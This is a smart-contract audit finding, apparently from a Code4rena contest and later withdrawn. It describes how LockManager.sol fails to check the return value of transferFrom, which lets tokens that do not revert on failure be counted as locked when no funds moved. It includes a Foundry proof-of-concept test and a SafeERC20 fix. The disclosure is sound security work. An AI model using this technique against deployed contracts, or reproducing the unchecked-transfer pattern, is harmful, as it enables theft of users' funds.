No revert tokens allow users to lock unbacked funds

[c4-bot-3]

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L374-L377

Vulnerability details

Impact

The transferFrom function is used to transfer tokens that are being locked. Within this scope, no-revert tokens are included, which return a boolean set to false if the transaction fails. Since this return value is not checked in LockManager.sol::lock, an attacker can send nonexistent funds that are incorrectly accounted for as locked tokens. This vulnerability allows the attacker to subsequently drain the funds of other users.

    function _lock(
...
        // Transfer erc tokens
        if (_tokenContract != address(0)) {
            IERC20 token = IERC20(_tokenContract);
@>          token.transferFrom(_tokenOwner, address(this), _quantity);
        }
...

Proof of Concept

For a Poc related to this issue, the NoRevert.sol contract example found in Github is used. Deploy the contract in the current test suite in MunchablesTest.sol and configure it similarly to USDB, ETH and WETH. Once this is done you can run the following function:

function test_userDepositsUnbackedTokens() public {
        deployContracts();
        MunchablesCommonLib.Realm realm = MunchablesCommonLib.Realm.Everfrost;
        amp.register(realm, address(0));
        norevert.approve(address(lm), 200 ether);
        lm.lock(address(norevert), 100 ether);

        address attacker = makeAddr("attacker");

        vm.startPrank(attacker);
        amp.register(realm, address(0));
        norevert.approve(address(lm), 200 ether);
        uint256 balanceAttackerBefore = norevert.balanceOf(attacker);
        lm.lock(address(norevert), 100 ether);

        vm.warp(block.timestamp + 1 days + 1);
        lm.unlock(address(norevert), 100 ether);
        assertEq(balanceAttackerBefore, 0);
        assertEq(norevert.balanceOf(attacker), 100 ether);
    }

Tools Used

Manual review.

Recommended Mitigation Steps

Use SafeERC20 library from OppenZeppelin in LockManager.sol::lock:

...
if (_tokenContract != address(0)) {
            IERC20 token = IERC20(_tokenContract);
-           token.transferFrom(_tokenOwner, address(this), _quantity);
+           token.safeTransferFrom(_tokenOwner, address(this), _quantity);
        }
...

Assessed type

ERC20

[c4-bot-8]

Withdrawn by robertodf99